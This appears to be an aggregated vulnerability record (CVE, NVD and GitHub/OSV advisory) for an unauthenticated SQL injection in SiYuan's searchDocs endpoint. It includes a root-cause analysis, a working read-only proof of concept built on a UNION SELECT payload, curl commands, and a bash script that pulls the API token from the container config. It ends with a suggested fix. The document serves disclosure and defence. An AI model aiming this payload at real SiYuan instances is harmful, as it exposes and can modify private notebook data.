{"id":"GO-2026-6621","revision":null,"records":[{"revision":"bb4a5f5181694d06a6b5025a65305631","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69085","aliases":[],"title":"SiYuan before v3.7.3 SQL Injection via searchDocs","description":"SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.","state":0,"publishedAt":"2026-08-03T13:20:40.65+00:00","modifiedAt":"2026-08-14T16:51:12.746+00:00","affected":[{"ecosystem":"Vendor product","name":"siyuan","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"siyuan-note\",\n                    \"product\": \"siyuan\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/siyuan-note/siyuan/kernel\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.7.3\"\n                        },\n                        {\n                            \"version\": \"3.7.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","score":9.9,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":10,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4","https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69085","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69085","identifiers":["CVE-2026-69085"]},"retained":false,"historicalAffected":[]},{"revision":"c44993494c2d43049200ca585b0bbd92","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69085","aliases":[],"title":"SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoi…","description":"SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance.","state":0,"publishedAt":"2026-08-03T14:16:28.82+00:00","modifiedAt":"2026-10-23T21:10:00.157+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.9,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":10,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4","https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69085","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-89"],"productCriteria":[],"sourceDates":{"published":"2026-08-03T14:16:28.820","lastModified":"2026-10-23T21:10:00.157"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69085","identifiers":["CVE-2026-69085"]},"retained":false,"historicalAffected":[]},{"revision":"869e979f1e534037a161fd6b7d9785e9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-33jq-p8c2-q3q4","aliases":["CVE-2026-69085","GO-2026-6621"],"title":"SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking","description":"### Summary\n\nThe `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.\n\n### Details\n\nData flow, unescaped and unbound at every hop:\n\n- `searchDocs` (`kernel/api/filetree.go`): `k := arg[\"k\"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization.\n- `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString(\"(hpath LIKE '%\" + k + \"%'\")`. No escaping, no `''` doubling, no bind placeholder.\n- `NAMFilter` (`kernel/conf/search.go`): appends `\" OR name LIKE '%\" + keyword + \"%'\"` (and `alias`, `memo`) the same way, enabled by default.\n- `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `\"SELECT *, … FROM blocks WHERE type = 'd' AND \" + condition + \" ORDER BY … LIMIT …\"` passed to `query(sqlStmt)`.\n\nThe only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.\n\n**Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them.\n\n**Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.\n\n**Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.\n\n### Impact\n\nAn unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`).\n\n## Root cause\nThe keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding:\n\n- `SearchDocs` builds each condition as `(hpath LIKE '%<token>%' ...)` (`file.go:199`).\n- `NAMFilter` appends `OR name LIKE '%<token>%'`, `alias`, `memo` the same way (`search.go:135-142`).\n- `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n>` and calls `query()` (`block_query.go:74-75`).\n- `query()` calls `db.Query()` with **no** call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`).\n\nThe only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.\n\n## Reachability / auth tier\n- Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`.\n- The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. \n- The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter.\n- Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.\n\n## Proof of concept (read-only discloses `sqlite_version()`)\n\nDemonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified.\n\n### 1. Prerequisites\n- A local SiYuan kernel running (default `http://127.0.0.1:6806`).\n- The API token from **Settings > About > API token** (omit if no access-auth code is set).\n- One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`.\n\n### 2. Why the payload is shaped this way\n- The kernel places the keyword as `hpath LIKE '%<K>%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`.\n- The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments.\n- `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field.\n\n## 3. PoC\n\n1. Open the web UI once (unlocks + ensures a notebook is open)\n\n1. Browser > `http://127.0.0.1:6806`\n2. Enter the access-auth code: `poctestcode`\n3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click ＋ > New notebook, name it anything, and make sure it's open (bold, not greyed).\n\n2. Grab the API token\n\n```\ndocker exec siyuan-poc grep -o '\"token\":\"[^\"]*\"' /siyuan/workspace/conf/conf.json\nTOKEN=\"paste_the_token_value_here\"\n```\n\n3. Get the open notebook's ID\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/notebook/lsNotebooks\" -H \"Authorization: Token $TOKEN\"`\nCopy an id whose \"closed\":false, then: `BOX_ID=\"paste_that_id_here\"`\n\n4. Build the request body\n\n```\ncat > body.json <<EOF\n{\"k\":\"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"}\nEOF\n```\n\n(The heredoc substitutes $BOX_ID for you, no manual editing.)\n\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o '\"path\":\"[0-9][^\"]*\"'`\nExpected: the SQLite version string, e.g. `\"path\":\"3.45.1\"`, proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d '{\"k\":\"poc\"}' | grep -o '\"path\":\"[0-9][^\"]*\"'`   # returns nothing\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\n---\nIf Step 5 returns empty:\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o '\"path\":\"[0-9][^\"]*\"'`\nExpected: the SQLite version string, e.g. \"path\":\"3.45.1\", proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d '{\"k\":\"poc\"}' | grep -o '\"path\":\"[0-9][^\"]*\"'`   # returns nothing\n\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\nOr you can use this script to do the whole process at once:\n\n```\n#!/usr/bin/env bash\n#\n# siyuan_sqli_poc.sh\n# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing\n# sqlite_version() through the search response. Modifies NO data.\n\nset -u\nexport MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths\n\n# ---- config ---------------------------------------------------------------\nBASE=\"${BASE:-http://127.0.0.1:6806}\"\nCONTAINER=\"${CONTAINER:-siyuan-poc}\"\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nsay()  { printf '\\n\\033[1m== %s\\033[0m\\n' \"$*\"; }\nok()   { printf '\\033[32m[OK]\\033[0m %s\\n' \"$*\"; }\nwarn() { printf '\\033[33m[!!]\\033[0m %s\\n' \"$*\"; }\ndie()  { printf '\\033[31m[XX]\\033[0m %s\\n' \"$*\"; exit 1; }\n\n# 1. container up?\nsay \"Checking container\"\ndocker ps --format '{{.Names}}' | grep -qx \"$CONTAINER\" \\\n  || die \"Container '$CONTAINER' is not running. Start it, then re-run.\"\nok \"container '$CONTAINER' is running\"\n\n# 2. API alive?\nsay \"Waiting for kernel API\"\nfor i in $(seq 1 30); do\n  if curl -sf \"$BASE/api/system/version\" >/dev/null 2>&1; then\n    ok \"API responding at $BASE\"; break\n  fi\n  sleep 1\n  [ \"$i\" = 30 ] && die \"API not responding. Open $BASE in a browser, enter the access code, then re-run.\"\ndone\n\n# 3. token from conf.json\nsay \"Reading API token\"\nTOKEN=$(docker exec \"$CONTAINER\" cat \"$CONF\" 2>/dev/null \\\n  | grep -oE '\"token\"[[:space:]]*:[[:space:]]*\"[^\"]*\"' | head -1 \\\n  | sed -E 's/.*:[[:space:]]*\"([^\"]*)\".*/\\1/')\nif [ -n \"$TOKEN\" ]; then\n  ok \"token found\"\n  AUTH=(-H \"Authorization: Token $TOKEN\")\nelse\n  warn \"no token in conf.json (instance may not be initialized, or auth is disabled).\"\n  warn \"  -> open $BASE, enter the access code, let the UI load, then re-run.\"\n  AUTH=()\nfi\n\n# 4. an OPEN notebook id\nsay \"Finding an open notebook\"\nNB=$(curl -s -X POST \"$BASE/api/notebook/lsNotebooks\" \"${AUTH[@]}\")\nBOX_ID=$(echo \"$NB\" | tr '}' '\\n' | grep '\"closed\":false' \\\n  | grep -oE '\"id\":\"[^\"]+\"' | head -1 | sed -E 's/\"id\":\"([^\"]+)\"/\\1/')\n[ -n \"$BOX_ID\" ] || die \"No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB\"\nok \"using open notebook: $BOX_ID\"\n\n# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())\nsay \"Building request body\"\nPAYLOAD=\"poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"\nprintf '{\"k\":\"%s\"}' \"$PAYLOAD\" > body.json\nok \"wrote body.json\"\n\n# 6. fire the injection\nsay \"Sending injection\"\nRESP=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d @body.json)\nVER=$(echo \"$RESP\" | grep -oE '\"path\":\"[0-9][^\"]*\"' | head -1 | sed -E 's/\"path\":\"([^\"]*)\"/\\1/')\n\n# 7. benign differential (must NOT return a version)\nBENIGN=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d '{\"k\":\"poc\"}' \\\n  | grep -oE '\"path\":\"[0-9][^\"]*\"' | head -1)\n\n# 8. verdict\nsay \"Result\"\nif [ -n \"$VER\" ] && [ -z \"$BENIGN\" ]; then\n  ok \"SQL injection CONFIRMED\"\n  printf '     leaked sqlite_version() = \\033[1m%s\\033[0m\\n' \"$VER\"\n  printf '     (benign keyword returned no version -> value came from injected SQL)\\n'\nelse\n  warn \"no version surfaced. Checking kernel log for the assembled statement...\"\n  docker exec \"$CONTAINER\" sh -c 'grep \"sql query\" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true\n  warn \"If you see 'sql query [...] failed', it's a column-count mismatch on this build.\"\n  warn \"If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook.\"\n  printf '     raw response: %s\\n' \"$RESP\"\nfi\n```\n`bash siyuan_sqli_poc.sh`\n\n<img width=\"809\" height=\"376\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4\" />\n\n### Suggested fix\n\nParameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `'` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs > query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.","state":0,"publishedAt":"2026-10-01T14:38:48+00:00","modifiedAt":"2026-10-07T17:55:40.7961813+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260721043339-eef10568384e"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4","https://nvd.nist.gov/vuln/detail/CVE-2026-69085","https://github.com/siyuan-note/siyuan","https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3","https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"],"sourceUrl":"https://github.com/advisories/GHSA-33jq-p8c2-q3q4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-33jq-p8c2-q3q4","identifiers":["GHSA-33jq-p8c2-q3q4","CVE-2026-69085","GO-2026-6621"]},"retained":false,"historicalAffected":[]},{"revision":"7115b85894a0465b8910a00ac943a8b8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6621","aliases":["CVE-2026-69085","GHSA-33jq-p8c2-q3q4"],"title":"SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking in github.com/siyuan-note/siyuan/kernel","description":"SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking in github.com/siyuan-note/siyuan/kernel","state":0,"publishedAt":"2026-10-07T14:09:59+00:00","modifiedAt":"2026-10-07T17:45:14.3150851+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260721043339-eef10568384e"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4","https://nvd.nist.gov/vuln/detail/CVE-2026-69085","https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3","https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6621","license":"OSV · upstream source license applies","key":"osv:GO-2026-6621","identifiers":["GO-2026-6621","CVE-2026-69085","GHSA-33jq-p8c2-q3q4"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T17:37:18.9351244+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T17:37:18.9351244+00:00","lastSuccessAt":"2026-10-26T17:37:19.151471+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:19.1514719+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-d6f206810bfc698eadf8f28407d530f4767f368cd89e94211e8dccb68eba0455","complete":true,"records":414339,"lastAttemptAt":"2026-10-26T17:35:34.9653803+00:00","lastSuccessAt":"2026-10-26T17:35:34.8568888+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:35:34.9653803+00:00","snapshotPublishedAt":"2026-10-26T17:28:56+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T17:37:46.9178053+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":2564,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T17:37:18.9351244+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T17:37:18.9351244+00:00","lastSuccessAt":"2026-10-26T17:37:19.1522283+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:19.1522304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-141ff4fb146e4923a19e7481870bbe2d","complete":false,"records":13416,"lastAttemptAt":"2026-10-26T17:37:44.6767196+00:00","lastSuccessAt":"2026-10-26T17:37:44.673+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:44.673+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13077,"expectedIdentifiers":13477},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c3121b113ecd88f1c92ccfa0ec9757ddc8386e4c12afd2597450b815744f800a","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T17:37:18.6945274+00:00","lastSuccessAt":"2026-10-26T15:37:14.3083004+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:18.6945274+00:00","snapshotPublishedAt":"2026-10-26T14:48:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T17:35:35.1091889+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:35:35.1091889+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-a393d8fe0ae8408f3e4cab413b76047090c8e4a3c0a186c79edf33c9a3d3af95","complete":true,"records":2995,"lastAttemptAt":"2026-10-26T17:37:18.8871755+00:00","lastSuccessAt":"2026-10-26T14:35:47.9640893+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:18.8871755+00:00","snapshotPublishedAt":"2026-10-26T14:18:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-278d5002a4c49eb0a53aa603d1ea0cbe27ac563f4fab7dbdf3bbdb9c900730cf","complete":true,"records":230811,"lastAttemptAt":"2026-10-26T17:37:18.5499294+00:00","lastSuccessAt":"2026-10-26T17:37:17.1540989+00:00","error":null,"lastVerifiedAt":"2026-10-26T17:37:18.5499294+00:00","snapshotPublishedAt":"2026-10-26T16:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}